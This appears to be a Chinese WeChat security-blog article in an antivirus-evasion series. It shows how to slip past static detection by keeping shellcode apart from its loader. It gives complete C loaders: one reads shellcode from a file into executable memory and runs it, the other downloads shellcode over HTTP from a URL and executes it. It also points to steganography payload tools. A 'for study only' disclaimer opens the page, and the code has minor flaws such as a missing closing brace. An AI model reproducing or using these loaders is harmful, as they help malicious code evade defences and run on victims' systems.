本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
过静态--shellcode分离3.1 从文件中读取shellcode3.2 通过http读取shellcode3.2 图片隐写
之前写了关于shellcode的加密或转换的文章,当然除了最基础的加密还有一种情况就是分离出来,下面也是列举几个常用的方法
3.1 从文件中读取shellcode
先了解几个API函数
CreateFileA
-
功能:创建或者打开文件或 I/O 设备。
-
返回值:当打开文件成功则返回对应句柄,如果失败则返回
INVALID_HANDLE_VALUE
HANDLE CreateFileA(
LPCSTR lpFileName, // 要打开的文件的名字,注意是宽字节
DWORD dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ 为读权限
DWORD dwShareMode, // 表示共享模式,用于指定其他进程对同一文件的访问权限,0为不共享
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全描述符,这里直接设置为NULL就可以
DWORD dwCreationDisposition, // 要对存在或不存在的文件或设备执行的操作,动作 OPEN_EXISTING 表示打开已存在文件
DWORD dwFlagsAndAttributes, // 用于指定文件或设备对象的属性通常用于创建文件时使用该属性,属性 FILE_ATTRIBUTE_NORMAL 为默认属性
HANDLE hTemplateFile // 默认为 NULL 即可
);
ReadFile
-
功能:从文件中读取数据
-
返回值:如果函数成功,则返回值为非零 (TRUE) 。如果函数失败或正在异步完成,则返回值为零 (FALSE) 。
BOOL ReadFile(
HANDLE hFile, // 文件句柄
LPVOID lpBuffer, // 接数据用的buffer
DWORD nNumberOfBytesToRead, // 要读取的字节数
LPDWORD lpNumberOfBytesRead, // 实际读取的字节数
LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
);
#include <stdio.h>
#include <windows.h>
int main()
{
DWORD dwSize;
DWORD dwReadSize;
HANDLE hFileNew;
//文件路径
LPCWSTR file = L"C:\Black\calc.bin";
//打开文件,以只读方式,读取权限对其它进程共享
hFileNew = CreateFile(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
//判断是否成功打开文件
if (hFileNew == INVALID_HANDLE_VALUE)
{
return 0;
}
//获取文件大小
dwSize = GetFileSize(hFileNew, NULL);
//开辟空间
void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//将文件读取到开辟的空间处
ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
//函数指针调用
((void(*)())exec)();
}
3.2 通过http读取shellcode
C语言中,如果想实现对应网络资源对应的功能,就要用到wininet
WinInet(Windows Internet)是 Microsoft Windows 操作系统中的一个 API 集,用于提供对 Internet 相关功能的支持。它包括了一系列的函数,使得 Windows 应用程序能够进行网络通信、处理 HTTP 请求、FTP 操作等。WinInet 提供了一套完整的网络通信工具,使得开发者能够轻松地构建支持网络功能的应用程序,涵盖了从简单的 HTTP 请求到复杂的文件传输等多种网络操作。
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
InternetOpenA:
-
功能:用于初始化一个应用程序的对网络资源的访问。
-
返回值:如果函数调用成功,将返回一个类型为
HINTERNET
的句柄。这个句柄可以用于后续的网络操作。
HINTERNET InternetOpenA(
[in] LPCSTR lpszAgent, //UA头的值
[in] DWORD dwAccessType, //访问互联网的方式INTERNET_OPEN_TYPE_DIRECT直接连接,INTERNET_OPEN_TYPE_PROXY:通过代理服务器连接到互联网。
[in] LPCSTR lpszProxy, //代理服务器地址,我们不用代理访问模式,这里可以设置为NULL
[in] LPCSTR lpszProxyBypass, //不走代理的地址
[in] DWORD dwFlags //指定其他标志来控制函数的行为,正常访问直接为设置为NULl即可
);
使用InternetOpenA初始化并获得句柄后,我们想要发送http请求,可以有两种方式,一种是使用InternetOpenUrlA
,另一种是使用InternetConnectA
、HttpOpenRequestA
、HttpSendRequestA
的组合,后者更细致,前者更方便,所以我们这里直接用InternetOpenUrlA
InternetOpenUrlA
-
功能:用于打开一个指定的URL并返回一个指向URL资源的句柄
-
返回值:如果函数调用成功,则返回指向URL资源的有效句柄(HINTERNET类型)。
HINTERNET InternetOpenUrlA(
[in] HINTERNET hInternet, //一个已打开的句柄,用于表示与Internet相关的会话。通常使用InternetOpenA函数返回的句柄作为参数.
[in] LPCSTR lpszUrl, //要打开的URL字符串
[in] LPCSTR lpszHeaders, //用于指定请求的头部信息。可以为空字符串或NULL。
[in] DWORD dwHeadersLength, //lpszHeaders参数的长度,如果指定了头部信息,则需要指定其长度;如果没有指定,则传入0。
[in] DWORD dwFlags, //用于指定打开URL的行为和选项,我们这里用到了INTERNET_FLAG_RELOAD:强制重新下载URL资源,忽略缓存。
[in] DWORD_PTR dwContext //一个用户定义的值,可以用于传递上下文信息。我们不用回调函数,这里设置为NULL即可
);
InternetReadFile
-
功能:用于读取通过HTTP或FTP协议打开的URL资源。
-
返回值:如果函数调用成功,则返回非零值(TRUE)。
BOOL InternetReadFile(
[in] HINTERNET hFile, //指向要读取的URL资源的句柄。
[out] LPVOID lpBuffer, //指向用于接收读取数据的缓冲区的指针。
[in] DWORD dwNumberOfBytesToRead, //要读取的字节数。
[out] LPDWORD lpdwNumberOfBytesRead //指向一个DWORD类型的变量,表示实际读取的字节数。
);
完整代码:
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
int main()
{
const char* host = "http://127.0.0.1/calc.bin";
const int payload_len = 369;
HINTERNET session, con;
void* exec = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
session = InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
con = InternetOpenUrlA(session, "http://127.0.0.1/calc.bin", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (con != NULL)
{
DWORD nread;
InternetReadFile(con, exec, payload_len, &nread);
((void(*)())exec)();
}
InternetCloseHandle(con);
InternetCloseHandle(session);
return 0;
3.2 图片隐写
实战对抗情况下效果不好,这里不多做介绍
https://github.com/dayuxiyou/Invoke-PSImage
https://github.com/Mr-Un1k0d3r/DKMC
原文始发于微信公众号(小惜渗透):【小惜免杀之旅--3】过静态-shellcode分离
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论